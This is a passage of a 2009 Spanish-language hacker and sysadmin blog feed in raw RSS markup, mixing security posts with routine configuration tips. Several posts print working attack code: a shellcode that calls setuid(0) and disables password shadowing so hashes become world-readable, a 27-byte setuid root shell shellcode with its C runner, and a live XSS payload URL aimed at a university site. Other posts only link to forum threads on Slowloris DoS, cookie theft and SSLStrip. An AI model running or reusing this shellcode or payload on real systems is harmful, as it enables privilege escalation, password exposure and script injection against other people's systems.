/&gt;&lt;b&gt;&lt;a href="http://two.xthost.info/vlan7b/Full_Disclosure_Guardia_Civil_XSS_001.pdf"&gt;~ XSS en la web de la Guardia Civil ~&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;Por/By: vlan7 [ http://vlan7.blogspot.com ]&lt;br /&gt;~&lt;br /&gt;Fecha de descubrimiento y contacto con la Guardia Civil: 5-Jul-09&lt;br /&gt;Fecha en la que la Guardia Civil responde confirmándolo: 6-Jul-09&lt;br /&gt;Fecha en la que este XSS queda mitigado: 7-Jul-2009&lt;br /&gt;¿Full Disclosure? released to the public: 10-Jul-2009&lt;br /&gt;~&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;"No hemos hecho nada del otro mundo, porque vivimos en este"&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;Eskorbuto&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;P.D. No es mi especialidad la seguridad web, cualquier correccion sera bienvenida. Gracias.&lt;br /&gt;&lt;br /&gt;He añadido un archivo .ZIP con las referencias, que realmente es lo mejor del documento :D Hay alguno bastante bueno.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://two.xthost.info/vlan7b/Full_Disclosure_Guardia_Civil_XSS_REFERENCES_001.zip"&gt;&lt;b&gt;Referencias&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=56031"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=56031&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-9153362465504250851?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/79VScx_t1PA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/79VScx_t1PA/una-historia-inofensiva-pero-real-xss.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/una-historia-inofensiva-pero-real-xss.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4643332997576599454</guid><pubDate>Sat, 04 Jul 2009 22:13:00 +0000</pubDate><atom:updated>2009-07-11T15:11:04.916+02:00</atom:updated><title>unshadow.c shellcode</title><description>Esta shellcode deshabilita el shadowing en un sistema Linux. Todos los passwords de /etc/shadow van a /etc/passwd , legible por todo el mundo :)&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;const char sc[]= "\x31\xdb" //xor ebx,ebx&lt;br /&gt;                 "\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!&lt;br /&gt;                 "\x99" //cdq&lt;br /&gt;                 "\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)&lt;br /&gt;                 "\xb0\x0b" //mov al,0bh&lt;br /&gt;                 "\x52" //push edx /Termina la cadena con un 0&lt;br /&gt;                 "\x68\x63\x6f\x6e\x76" //push dword "conv"&lt;br /&gt;                 "\x68\x70\x77\x75\x6e" //push dword "pwun"&lt;br /&gt;                 "\x68\x62\x69\x6e\x2f" //push dword "bin/"&lt;br /&gt;                 "\x68\x73\x72\x2f\x73" //push dword "sr/s"&lt;br /&gt;                 "\x68\x2f\x2f\x2f\x75" //push dword "///u"&lt;br /&gt;                 "\x89\xe3" //mov ebx,esp&lt;br /&gt;                 "\x89\xd1" //mov ecx,edx&lt;br /&gt;                 "\xcd\x80"; //int 80h&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;  printf("\n~ This shellcode disables shadowing on a linux system ~"&lt;br /&gt;         "\n\n\t ~ Coded by vlan7 ~"&lt;br /&gt;         "\n\t ~ http://vlan7.blogspot.com ~"&lt;br /&gt;         "\n\n ~ Date: 4/Jul/2009"&lt;br /&gt;&lt;br /&gt;         "\n\tYou'll have the passwords stored in /etc/passwd."&lt;br /&gt;   "\n\tFor undo purposes use the pwconv command."&lt;br /&gt;         "\n\t ~ Cheers go to: Wadalbertia"&lt;br /&gt;         "\n\t ~ Shellcode Size: %d bytes\n\n",&lt;br /&gt;                sizeof(sc)-1);&lt;br /&gt;&lt;br /&gt;        (*(void (*)()) sc)();&lt;br /&gt;}&lt;/b&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4643332997576599454?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/0ZV_Qjygeh4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/0ZV_Qjygeh4/unshadowc-shellcode.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/unshadowc-shellcode.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-1933515355948367887</guid><pubDate>Sat, 04 Jul 2009 18:28:00 +0000</pubDate><atom:updated>2009-07-12T09:28:12.877+02:00</atom:updated><title>Y sigue el culebron... Smallest (27 bytes) GNU/Linux x86 setuid/execve shellcode without NULLs</title><description>&lt;font color="#FF0000"&gt;&lt;big&gt;&lt;big&gt;&lt;big&gt;&lt;b&gt;Como no sabia que era imposible lo hice&lt;br /&gt;&lt;br&gt;&lt;br /&gt;27 bytes!!!&lt;/b&gt;&lt;/big&gt;&lt;/big&gt;&lt;/big&gt; :) &lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;const char sc[]= "\x31\xdb" //xor ebx,ebx&lt;br /&gt;                 "\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push/pop!&lt;br /&gt;                 "\x99" //cdq&lt;br /&gt;                 "\xcd\x80" //int 80 //setuid(0) should returns 0 right? ;)&lt;br /&gt;                 "\xb0\x0b" //mov al,0bh&lt;br /&gt;                 "\x52" //push edx /Termina la cadena //bin/sh con un 0&lt;br /&gt;                 "\x68\x6e\x2f\x73\x68" //push dword "hs/n"&lt;br /&gt;                 "\x68\x2f\x2f\x62\x69" //push dword "ib//"&lt;br /&gt;                 "\x89\xe3" //mov ebx,edx&lt;br /&gt;                 "\x89\xd1" //mov ecx,edx&lt;br /&gt;                 "\xcd\x80"; //int 80h&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  printf("\nSMALLEST SETUID &amp; EXECVE GNU/LINUX x86 STABLE SHELLCODE "&lt;br /&gt;"WITHOUT NULLS THAT SPAWNS A SHELL"&lt;br /&gt;                        "\n\nCoded by vlan7"&lt;br /&gt;                        "\n\t + vlan7[at]bigfoot.com"&lt;br /&gt;                        "\n\t + http://vlan7.blogspot.com"&lt;br /&gt;                        "\n\n[+] Date: 4/Jul/2009"&lt;br /&gt;                        "\n[+] Thanks to: sch3m4"&lt;br /&gt;                        "\n\n[+] Shellcode Size: %d bytes\n\n",&lt;br /&gt;                        sizeof(sc)-1);&lt;br /&gt;        (*(void (*)()) sc)();&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Voy a citar de &lt;a href="http://www.opengroup.org/onlinepubs/000095399/functions/setuid.html"&gt;&lt;b&gt;aqui&lt;/b&gt;&lt;/a&gt; el funcionamiento de setuid().&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;RETURN VALUE&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Upon successful completion, 0 shall be returned. Otherwise, -1 shall be returned and errno set to indicate the error.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;ERRORS&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The setuid() function shall fail, return -1, and set errno to the corresponding value if one or more of the following are true:&lt;br /&gt;&lt;br /&gt;Veamos si entramos en alguno de los casos:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;[EINVAL]&lt;/u&gt;&lt;br /&gt;The value of the uid argument is invalid and not supported by the implementation&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;No. UID=0 es un UID valido. Es el r00t!&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;[EPERM]&lt;/u&gt;&lt;br /&gt;The process does not have appropriate privileges and uid does not match the real user ID or the saved set-user-ID.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Logicamente, esto ultimo puede pasar en la version a la que se llego anteriormente.&lt;br /&gt;&lt;br /&gt;Ah, y aqui el hilo de Wadalbertia:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139"&gt;&lt;b&gt;Smallest GNU/Linux x86 setuid/execve shellcode without NULLs&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Stay clean,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1933515355948367887?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/l0kBwvcpck8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/l0kBwvcpck8/y-sigue-el-culebron-smallest-gnulinux.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/y-sigue-el-culebron-smallest-gnulinux.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-9179430346985097127</guid><pubDate>Sat, 04 Jul 2009 07:26:00 +0000</pubDate><atom:updated>2009-07-06T15:44:59.147+02:00</atom:updated><title>XSS</title><description>El otro dia estuve jugando con XSS, y mande algunos a la conocida xssed.com&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.xssed.com/archive/author=vlan7/"&gt;&lt;b&gt;http://www.xssed.com/archive/author=vlan7/&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Quiero dedicar primero muy especialmente este:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.lsi.upc.edu/search?Creator=admin&amp;sort_on=1%3E%27%3E%3Cscript%3Ealert(%22XSS%20by%20vlan7%22)%3C/script%3E"&gt;&lt;b&gt;http://www.lsi.upc.edu&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;dedicado, con cariño, a todos los profesores que tuve que aguantar en su dia del departamento de LSI de la FIB de la UPC; por prohibir las soluciones ingeniosas en sus estupidos problemas. Si por ellos fuera nunca aprendo.&lt;br /&gt;&lt;br /&gt;Mande varios, pero yo me quedo con ese.&lt;br /&gt;&lt;br /&gt;Stay clean,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-9179430346985097127?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/2zuQGV93LKk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/2zuQGV93LKk/xss.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/xss.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4351948774202818761</guid><pubDate>Sat, 27 Jun 2009 08:00:00 +0000</pubDate><atom:updated>2009-06-27T10:01:11.591+02:00</atom:updated><title>postfix + logrotate</title><description>LOGUEANDO 2 INSTANCIAS DE POSTFIX EN 2 ARCHIVOS DIFERENTES:&lt;br /&gt;===========================================================&lt;br /&gt;&lt;br /&gt;/etc/postfix/main.cf :&lt;br /&gt;----------------------&lt;br /&gt;syslog_facility=local1&lt;br /&gt;syslog_name=postfix_smtpExtern&lt;br /&gt;&lt;br /&gt;/etc/postfix-out/main.cf :&lt;br /&gt;--------------------------&lt;br /&gt;syslog_facility=local2&lt;br /&gt;syslog_name=postfix_smtpIntern&lt;br /&gt;&lt;br /&gt;/etc/rsyslog.conf :&lt;br /&gt;-------------------&lt;br /&gt;# Log anything (except mail) of level info or higher.&lt;br /&gt;# Don't log private authentication messages!&lt;br /&gt;*.info;mail.none;authpriv.none;cron.none;local1.none;local2.none /var/log/messages&lt;br /&gt;(...)&lt;br /&gt;local2.* -/var/log/smtpdIntern.log&lt;br /&gt;local1.* -/var/log/smtpdExtern.log&lt;br /&gt;&lt;br /&gt;Reiniciar demonios:&lt;br /&gt;-------------------&lt;br /&gt;/etc/init.d/rsyslog restart&lt;br /&gt;/etc/init.d/postfix restart&lt;br /&gt;/etc/init.d/postfix-out restart&lt;br /&gt;&lt;br /&gt;*********************************************************************************&lt;br /&gt;&lt;br /&gt;ROTANDO LOS 2 ARCHIVOS DE LOG CON LOGROTATE:&lt;br /&gt;============================================&lt;br /&gt;&lt;br /&gt;/etc/logrotate.d/syslog (Postfix usa syslog):&lt;br /&gt;---------------------------------------------&lt;br /&gt;/var/log/smtpdIntern.log {&lt;br /&gt;sharedscripts&lt;br /&gt;missingok&lt;br /&gt;weekly&lt;br /&gt;compress&lt;br /&gt;# delaycompress&lt;br /&gt;create&lt;br /&gt;postrotate&lt;br /&gt;/etc/init.d/rsyslog restart&lt;br /&gt;/etc/init.d/postfix-out reload&lt;br /&gt;endscript&lt;br /&gt;rotate 12&lt;br /&gt;mail user@host.com&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/var/log/smtpdExtern.log {&lt;br /&gt;sharedscripts&lt;br /&gt;missingok&lt;br /&gt;weekly&lt;br /&gt;compress&lt;br /&gt;# delaycompress&lt;br /&gt;create&lt;br /&gt;weekly&lt;br /&gt;postrotate&lt;br /&gt;/etc/init.d/rsyslog restart&lt;br /&gt;/etc/init.d/postfix reload&lt;br /&gt;endscript&lt;br /&gt;rotate 12&lt;br /&gt;mail user@host.com&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;*********************************************************************************&lt;br /&gt;&lt;br /&gt;COMPROBACION FORZANDO ROTACIONES CON LOGROTATE:&lt;br /&gt;===============================================&lt;br /&gt;&lt;br /&gt;/usr/sbin/logrotate --force /etc/logrotate.d/syslog&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4351948774202818761?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/XSyIHkCgN64" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/XSyIHkCgN64/postfix-logrotate.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/postfix-logrotate.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-2344248691481073863</guid><pubDate>Wed, 24 Jun 2009 18:58:00 +0000</pubDate><atom:updated>2009-06-24T21:01:22.043+02:00</atom:updated><title>WPA + TKIP. Probando con tkiptun-ng</title><description>&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55867"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55867&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gracias a Vic_Thor por la info _de primera mano_, pues es muy dificil encontrar informacion sobre esta herramienta.&lt;br /&gt;&lt;br /&gt;Ah, salio la version 1.0 para win, aunque no la he probado.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2344248691481073863?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/HTwy79U66JQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/HTwy79U66JQ/wpa-tkip-probando-con-tkiptun-ng.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/wpa-tkip-probando-con-tkiptun-ng.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4254176827790233008</guid><pubDate>Wed, 24 Jun 2009 18:54:00 +0000</pubDate><atom:updated>2009-06-24T20:58:27.624+02:00</atom:updated><title>Slowloris - HTTP DoS</title><description>&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55898"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55898&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gracias Sor_Zitroen por la noticia!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4254176827790233008?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/oAQKtpadvL8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/oAQKtpadvL8/slowloris-http-dos.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/slowloris-http-dos.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-5592424073804202161</guid><pubDate>Tue, 23 Jun 2009 08:49:00 +0000</pubDate><atom:updated>2009-06-23T10:49:53.290+02:00</atom:updated><title>Jugando a robar cookies con surfjack</title><description>&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55853"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55853&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5592424073804202161?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/oxHR9LitY2A" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/oxHR9LitY2A/jugando-robar-cookies-con-surfjack.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/jugando-robar-cookies-con-surfjack.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-5698327714125230909</guid><pubDate>Mon, 22 Jun 2009 10:48:00 +0000</pubDate><atom:updated>2009-06-22T12:50:37.909+02:00</atom:updated><title>Jugando y burlando a SSL con SSLStrip</title><description>&lt;b&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55846"&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55846&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;PD Gracias al compañero Popolous por el post-it ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5698327714125230909?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/UiQ3gRix47w" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/UiQ3gRix47w/jugando-y-burlando-ssl-con-sslstrip.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/jugando-y-burlando-ssl-con-sslstrip.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8847377098576919174</guid><pubDate>Wed, 03 Jun 2009 16:35:00 +0000</pubDate><atom:updated>2009-06-03T18:38:34.404+02:00</atom:updated><title>VMWare disaster recovery</title><description>La idea es tener una tarea cron que copie las maquinas virtuales de un host fisico a otro host fisico VMWare.&lt;br /&gt;&lt;br /&gt;No se realiza escritura a disco, pues en VMWare es lo que mas penalizado se ve. Se comprime todo en un lado del tunel ssh, y por el otro lado se va descomprimiendo.&lt;br /&gt;&lt;br /&gt;Ahi va:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;#!/bin/bash&lt;br /&gt;#&lt;br /&gt;#Copia VMs de FISICA1 a FISICA2 para Disaster Recovery&lt;br /&gt;#&lt;br /&gt;#vlan7 / 13-5-09&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;ALERTA=80 #20% espacio libre&lt;br /&gt;ssh fisica2 df -HP |grep mapper | awk '{ print $5 " " $1 }' |awk '{ print $1}' | cut -d'%' -f1 &gt;/tmp/output&lt;br /&gt;uso=$(cat /tmp/output)&lt;br /&gt;&lt;br /&gt;if [ $uso -g $ALERTA ]; then&lt;br /&gt;  echo "$uso % de espacio utilizado a fisica2, abortando copia" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ $uso -le $ALERTA ]; then&lt;br /&gt;  #host1&lt;br /&gt;  echo "Apagando la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd stop "[standard] host1/host1.vmx" soft&lt;br /&gt;  echo "Apagada la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  tar czvf - /var/lib/vmware/Virtual\ Machines/host1/ |ssh fisica2 "cd / ; tar xzvf -"&lt;br /&gt;  echo "Encendiendo la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd start "[standard] host1/host1.vmx"&lt;br /&gt;  echo "Encendida la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt; &lt;br /&gt;  #list all available VMs to log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd list &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;#enviando correo&lt;br /&gt;tail -100 /var/log/copiaVMsVMWare.log | mail -s "[script] copiaVMsVMWare.sh" user@host.com&lt;/b&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8847377098576919174?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/5P02iuvxV4A" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/5P02iuvxV4A/vmware-disaster-recovery.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/vmware-disaster-recovery.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8116508971273797468</guid><pubDate>Fri, 13 Mar 2009 16:29:00 +0000</pubDate><atom:updated>2009-03-13T17:31:38.583+01:00</atom:updated><title>Asistente agregar impresoras linea de comandos</title><description>&lt;font color="#FF0000"&gt;&lt;b&gt;RUNDLL32 PRINTUI.DLL,PrintUIEntry /il&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Mas ejemplos en &lt;a href="http://www.robvanderwoude.com/2kprintcontrol.php"&gt;http://www.robvanderwoude.com/2kprintcontrol.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A mi me fue util en una ocasion...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8116508971273797468?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/inRrv6zQ3NY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/inRrv6zQ3NY/asistente-agregar-impresoras-linea-de.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/03/asistente-agregar-impresoras-linea-de.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-6589863941969850011</guid><pubDate>Wed, 25 Feb 2009 18:09:00 +0000</pubDate><atom:updated>2009-02-25T19:16:42.865+01:00</atom:updated><title>Equipos wireless iniciar sesion en dominio</title><description>Si un equipo nunca ha iniciado sesion en un dominio, no tendra guardadas las credenciales en cache. Esto es un problema para equipos wifi que quieran iniciar sesion en el dominio de nuestra organizacion.&lt;br /&gt;&lt;br /&gt;Y aunque tengan guardadas las credenciales en cache, no se ejecutara en su maquina ningun logonscript.&lt;br /&gt;&lt;br /&gt;La solucion es cargar y activar la tarjeta wifi antes del inicio de sesion, antes de autenticarse.&lt;br /&gt;&lt;br /&gt;Yo me quedo con esta manera de hacerlo:&lt;br /&gt;&lt;br /&gt;1. Usar el servicio Windows Zero Configuration (Inicio de sesion wifi facil o algo asi se llama en castellano)&lt;br /&gt;&lt;br /&gt;2. regedit. HKLM \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Winlogon&lt;br /&gt;Añadir valor DWORD GpNetworkStartTimeoutPolicyValue 3c (hexa) o 60 (dec)&lt;br /&gt;&lt;br /&gt;3. regedit. HKLM \ Software \ Policies \ Microsoft \ Windows \ System&lt;br /&gt;Añadir valor DWORD GroupPolicyMinTransferRate a 0.&lt;br /&gt;&lt;br /&gt;Y los clientes ya podran iniciar sesion como si estuvieran conectados a la red cableada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6589863941969850011?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/_eiG6WxiY0Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/_eiG6WxiY0Y/equipos-wireless-iniciar-sesion-en.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/equipos-wireless-iniciar-sesion-en.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-7589951530620281400</guid><pubDate>Wed, 25 Feb 2009 18:08:00 +0000</pubDate><atom:updated>2009-02-25T19:09:36.097+01:00</atom:updated><title>User Profile Deletion Utility (Delprof.exe)</title><description>&lt;i&gt;Delprof.exe is a command-line utility that you can use to delete user profiles on a local or remote computers running Windows 2000, Windows XP, and Windows Server 2003.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=901a9b95-6063-4462-8150-360394e98e1e&amp;displaylang=en"&gt;&lt;b&gt;http://www.microsoft.com/downloads/details.aspx?familyid=901a9b95-6063-4462-8150-360394e98e1e&amp;displaylang=en&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7589951530620281400?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/XbDwBAgPnoQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/XbDwBAgPnoQ/user-profile-deletion-utility.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/user-profile-deletion-utility.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-5340317488900437405</guid><pubDate>Tue, 17 Feb 2009 13:34:00 +0000</pubDate><atom:updated>2009-02-23T11:33:15.699+01:00</atom:updated><title>VMWare. Ubuntu/Debian eth0 desaparece</title><description>Tras copiar una VM, eth0 desaparece.&lt;br /&gt;&lt;br /&gt;Asi lo arregle yo:&lt;br /&gt;&lt;br /&gt;Editar:&lt;br /&gt;&lt;br /&gt;En Ubuntu: /etc/udev/rules.d/70-persistent-net.rules&lt;br /&gt;En Debian: /etc/udev/rules.d/z25-persistent-net.rules&lt;br /&gt;&lt;br /&gt;Borrar la primera entrada y cambiar en la segunda eth1 por eth0.&lt;br /&gt;&lt;br /&gt;Reiniciar servicios asociados:&lt;br /&gt;&lt;br /&gt;/etc/init.d/udev restart&lt;br /&gt;/etc/init.d/networking restart&lt;br /&gt;&lt;br /&gt;No es necesario reiniciar el host.&lt;br /&gt;&lt;br /&gt;&amp;lt;EDIT 23-2-09&amp;gt;&lt;br /&gt;Si seleccionamos mover nos olvidamos de este problema, ya que se mantiene todo el estado de la maquina, direccion MAC incluida. Esto viene bien en un entorno donde se quiera una 